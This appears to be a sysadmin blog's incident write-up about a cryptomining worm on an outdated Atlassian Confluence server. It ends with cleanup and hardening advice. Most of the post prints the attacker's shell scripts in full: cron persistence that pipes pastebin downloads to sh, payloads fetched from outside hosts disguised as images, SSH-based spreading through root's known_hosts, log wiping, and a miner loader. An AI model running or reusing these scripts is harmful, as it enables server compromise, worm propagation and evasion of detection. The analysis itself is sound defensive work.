Ignoring Atlassian Confluence Security Advisories?
Intro
A few days ago, a client contacted us with the problem of 502 error on their Atlassian Confluence instance. They are running their own instance of Atlassian Jira and Confluence, that are not updated regularly, despite out best efforts to motivate them to do so.
As good sysops do, we hit the helicopter and dropped into the issue by ropes (as freaking commandos). Basically you quickly lear how dependant the client is on the software, when it does not work.
This is the story of digging deeper…
Symptoms
Error 502 (Bad Gateway) when accessing Confluence instance.
High CPU usage
Unknown crontab runs in syslog.
syslog.1:Apr 15 15:40:01 jira CRON[14553]: (confluence) CMD ((curl -fsSL https://pastebin.com/raw/wR3ETdbi||wget -q -O- https://pastebin.com/raw/wR3ETdbi)|sh)
Modus operandi
The cron job we have mentioned earlier in the symptoms section runs another curl/wget process. I believe that this intermediate script is to ensure they are not caught because of the higher payload of the next part. The script makes sure the execution is silent, without any output and even to follow redirects on the url.
(curl -fsSL https://pastebin.com/raw/Zk7Jv9j2||wget -q -O- https://pastebin.com/raw/Zk7Jv9j2)|sed -e 's/\r//g'|sh
The script
Export the classic paths in case the exploited user does not have them set up.
export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin
Create the /tmp directory and set up the usual permissions in case it does not exist.
mkdir -p /tmp
chmod 1777 /tmp
Make sure the script is run in cron every 15 minutes.
echo "*/15 * * * * (curl -fsSL https://pastebin.com/raw/0Sxacvsh||wget -q -O- https://pastebin.com/raw/0Sxacvsh)|sh" | crontab -
They really don’t want any competition, so kill all similar malware of other authors.
ps -ef|grep -v grep|grep hwlh3wlh44lh|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep Circle_MI|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep get.bi-chi.com|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep hashvault.pro|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep nanopool.org|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep /usr/bin/bsd-port|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "xmr"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "xig"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "ddgs"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "qW3xT"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "wnTKYg"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "t00ls.ru"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "sustes"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "thisxxs"|awk '{print $2}' | xargs kill -9
ps -ef|grep -v grep|grep "hashfish"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "kworkerds"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "/tmp/devtool"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "systemctI"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "plfsbce"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "luyybce"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "6Tx3Wq"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "dblaunchs"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "/boot/vmlinuz"|awk '{print $2}'|xargs kill -9
netstat -anp|grep 119.9.106.27|awk '{print $7}'|sed -e "s/\/.*//g"|xargs kill -9
netstat -anp|grep 104.130.210.206|awk '{print $7}'|sed -e "s/\/.*//g"|xargs kill -9
Test if any funky directory is writeable and clean up afterwards.
cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable
If this is our first run (file .XIMunix does not exist), or some cleanup was done by system administrators, create malware, make it immutable using chattr and make sure you can’t delete it.
export PATH=$PATH:$(pwd)
if [ ! -f "/tmp/.XIMunix" ] || [ ! -f "/proc/$(cat /tmp/.XIMunix)/io" ]; then
chattr -i kerberods
rm -rf kerberods
Check system architecture to proceede.
ARCH=$(uname -m)
if [ ${ARCH}x = "x86_64x" ]; then
(curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL http://1.z9ls.com/t6/701/1555640288x2890149721.jpg -o kerberods||wget --timeout=30 --tries=3 -q http://1.z9ls.com/t6/701/1555640288x2890149721.jpg -O kerberods||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL https://i.ooxx.ooo/2019/04/15/b39d9cbe6c63d7a621469bf13f3ea466.jpg -o kerberods||wget --timeout=30 --tries=3 -q https://i.ooxx.ooo/2019/04/15/b39d9cbe6c63d7a621469bf13f3ea466.jpg -O kerberods) && chmod +x kerberods
elif [ ${ARCH}x = "i686x" ]; then
(curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL http://1.z9ls.com/t6/701/1555640362x2890149721.jpg -o kerberods||wget --timeout=30 --tries=3 -q http://1.z9ls.com/t6/701/1555640362x2890149721.jpg -O kerberods||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL https://i.ooxx.ooo/2019/04/15/d8dfa3690186ca8ab80cb1028b01a770.jpg -o kerberods||wget --timeout=30 --tries=3 -q https://i.ooxx.ooo/2019/04/15/d8dfa3690186ca8ab80cb1028b01a770.jpg -O kerberods) && chmod +x kerberods
else
(curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL http://1.z9ls.com/t6/701/1555640362x2890149721.jpg -o kerberods||wget --timeout=30 --tries=3 -q http://1.z9ls.com/t6/701/1555640362x2890149721.jpg -O kerberods||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL https://i.ooxx.ooo/2019/04/15/d8dfa3690186ca8ab80cb1028b01a770.jpg -o kerberods||wget --timeout=30 --tries=3 -q https://i.ooxx.ooo/2019/04/15/d8dfa3690186ca8ab80cb1028b01a770.jpg -O kerberods) && chmod +x kerberods
fi
Run the obtained malware, notice the name, very similar to kerberos, a legitimate network protocol. The script just brute forces the malware location.
$(pwd)/kerberods || /usr/bin/kerberods || /usr/libexec/kerberods || /usr/local/bin/kerberods || kerberods || ./kerberods || /tmp/kerberods
fi
Try to spread the malware around, if root user is exploited (known_hosts and public key are readable), connect to all hosts by using the read key and try to run again on that machine.
if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL https://pastebin.com/raw/0Sxacvsh||wget -q -O- https://pastebin.com/raw/0Sxacvsh)|sh >/dev/null 2>&1 &' & done
fi
Clean the logs to avoid detection.
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
#
Crypto mining
Another /tmp/def1.sh
contains:
wget https://raw.githubusercontent.com/aidamisa/aika/master/125.tmp -O /tmp/tempdb
chmod +x /tmp/tempdb
/tmp/tempdb
Another /tmp/rc9
contains:
#!/bin/sh
export no_proxy="139.99.120.75,132.148.148.79,132.148.148.79,139.224.20.173"
#ps aux | grep -v root | grep -v python | grep -v perl | awk '$3>10.0{print $2}' | xargs kill -9
ps aux | awk '$3>10.0{print $2}' | xargs kill -9
pgrep -f ./atd|xargs kill -9
ip="http://132.148.148.79/plus"
rm /tmp/.dba
mkdir /tmp/.dba
Check() { curl -sSLkf $1 -o $2 || wget --no-check-certificate $1 -O $2 || python -c "import urllib;urllib.urlretrieve('$1', '$2')";};
Check "$ip/java" "/tmp/.dba/dblaunchs_0xBB040";
Check "$ip/javad" "/tmp/.dba/dblaunchs_0xBB041";
Check "$ip/java2" "/tmp/.dba/dblaunchs_0xBB042";
Check "$ip/java3c" "/tmp/.dba/dblaunchs_0xBB043";
#Check "$ip/javas" "/tmp/.dba/libxmrstak_opencl_backend.so";
Check "$ip/javacj" "/tmp/.dba/config.json";
Check "$ip/javacf" "/tmp/.dba/config.txt";
Check "$ip/javacp" "/tmp/.dba/cpu.txt";
Check "$ip/javapo" "/tmp/.dba/pools.txt";
chmod 755 /tmp/.dba/dblaunchs_0xBB040
chmod 755 /tmp/.dba/dblaunchs_0xBB041
chmod 755 /tmp/.dba/dblaunchs_0xBB042
chmod 755 /tmp/.dba/dblaunchs_0xBB043
#chmod 755 /tmp/.dba/libxmrstak_opencl_backend.so
chmod 755 /tmp/.dba/config.json
chmod 755 /tmp/.dba/config.txt
chmod 755 /tmp/.dba/cpu.txt
chmod 755 /tmp/.dba/pools.txt
cd /tmp/.dba/
ORG=$PATH
export PATH=/tmp/.dba/:$PATH
dblaunchs_0xBB040 2>/dev/null >&- <&- >/dev/null &
dblaunchs_0xBB041 2>/dev/null >&- <&- >/dev/null &
dblaunchs_0xBB042 2>/dev/null >&- <&- >/dev/null &
dblaunchs_0xBB043 2>/dev/null >&- <&- >/dev/null &
export PATH=$ORG
sleep 10
dblaunchs_1=$(ps aux | grep -v grep | grep dblaunchs_0xBB040 | awk '{print $2}')
dblaunchs_2=$(ps aux | grep -v grep | grep dblaunchs_0xBB041 | awk '{print $2}')
dblaunchs_3=$(ps aux | grep -v grep | grep dblaunchs_0xBB042 | awk '{print $2}')
if [ $dblaunchs_1 -gt 1 ]; then
kill -9 $dblaunchs_1 $dblaunchs_2 $dblaunchs_3;
rm -rf /tmp/.dba/dblaunchs_0xBB041 /tmp/.dba/dblaunchs_0xBB042
mv /tmp/.dba/dblaunchs_0xBB040 /tmp/.dba/dblaunchs
fi
if [ $dblaunchs_2 -gt 1 ]; then
kill -9 $dblaunchs_1 $dblaunchs_2 $dblaunchs_3;
rm -rf /tmp/.dba/dblaunchs_0xBB040 /tmp/.dba/dblaunchs_0xBB042
mv /tmp/.dba/dblaunchs_0xBB041 /tmp/.dba/dblaunchs
fi
if [ $dblaunchs_3 -gt 1 ]; then
kill -9 $dblaunchs_1 $dblaunchs_2 $dblaunchs_3;
rm -rf /tmp/.dba/dblaunchs_0xBB040 /tmp/.dba/dblaunchs_0xBB041
mv /tmp/.dba/dblaunchs_0xBB042 /tmp/.dba/dblaunchs
fi
export PATH=/tmp/.dba/:$PATH
dblaunchs 2>/dev/null >&- <&- >/dev/null &
export PATH=$ORG
sleep 15
rm -rf /tmp/.dba/dblaunchs
rm -rf /tmp/.dba/dblaunchs_0xBB043
rm -rf /tmp/.dba/config.json
rm -rf /tmp/.dba/config.txt
rm -rf /tmp/.dba/cpu.txt
rm -rf /tmp/.dba/pools.txt
rm -rf /tmp/.dba/libxmrstak_opencl_backend.so
rm -rf /tmp/rc6
rm -rf /tmp/rc7
rm -rf /tmp/rc9
rm -rf /tmp/open
rm -rf /tmp/ng
ps aux | grep -v grep | grep "curl"|grep "/plus/nx"| awk '{print $2}'| awk '{if(NR!=1) print }'| xargs kill -9
ps aux | grep -v grep | grep "curl"|grep "/plus/kok"| awk '{print $2}'| awk '{if(NR!=1) print }'| xargs kill -9
ps aux | grep -v grep | grep "curl"|grep "/plus/wow"| awk '{print $2}'| awk '{if(NR!=1) print }'| xargs kill -9
ps aux | grep -v grep | grep "curl"|grep "/plus/rc7"| awk '{print $2}'| awk '{if(NR!=1) print }'| xargs kill -9
ps aux | grep -v grep | grep "curl"|grep "/plus/fxx"| awk '{print $2}'| awk '{if(NR!=1) print }'| xargs kill -9
ps aux | grep -v grep | grep "wget"|grep "/plus/nx"| awk '{print $2}'| awk '{if(NR!=1) print }'| xargs kill -9
ps aux | grep -v grep | grep "wget"|grep "/plus/kok"| awk '{print $2}'| awk '{if(NR!=1) print }'| xargs kill -9
ps aux | grep -v grep | grep "wget"|grep "/plus/wow"| awk '{print $2}'| awk '{if(NR!=1) print }'| xargs kill -9
ps aux | grep -v grep | grep "wget"|grep "/plus/rc7"| awk '{print $2}'| awk '{if(NR!=1) print }'| xargs kill -9
ps aux | grep -v grep | grep "wget"|grep "/plus/fxx"| awk '{print $2}'| awk '{if(NR!=1) print }'| xargs kill -9
ps aux | grep -v grep | grep "urlretrieve" |grep "/plus/nx"| awk '{print $2}' | awk '{if(NR!=1) print }'| xargs kill -9
ps aux | grep -v grep | grep "urlretrieve" |grep "/plus/kok"| awk '{print $2}' | awk '{if(NR!=1) print }'| xargs kill -9
ps aux | grep -v grep | grep "urlretrieve" |grep "/plus/wow"| awk '{print $2}' | awk '{if(NR!=1) print }'| xargs kill -9
ps aux | grep -v grep | grep "urlretrieve" |grep "/plus/rc7"| awk '{print $2}' | awk '{if(NR!=1) print }'| xargs kill -9
ps aux | grep -v grep | grep "urlretrieve" |grep "/plus/fxx"| awk '{print $2}' | awk '{if(NR!=1) print }'| xargs kill -9
Cleanup
Reinstall possible
This is the safest way, as in most cases we can’t really be sure what was compromised.
Spin up a new server.
Install latest Confluence version.
Restore from the backup.
Change passwords for database, SSH keys,…
Decomission the old machine.
Thanks to reddit user cr0ft.
Reinstall impossible
Update Confluence.
Delete crontab entries for the compromised users. Look for
/var/spool/cron/crontabs/usernamefile and delete it. Alternatively, switch to user, usecrontab -eand delete the wget/curl entry.Kill the processes that use all the CPU. Usually
/tmp/khugepagedsand{kerberods} [kerberods].Clean up the
/tmpand other infected directories directory. You can use LSD Malware Clean Tool.Change passwords for database and user accounts, SSH keys,…
Mitigation and good practices
Do not run software as privileged user (root).
If possible, split services between multiple user accounts.
Do not store SSH keys on the server, to connect to other servers.
Follow the security advisories and regularly update your operating system and all software.
Uninstall unneeded software.
Monitor the server and check log files automatically.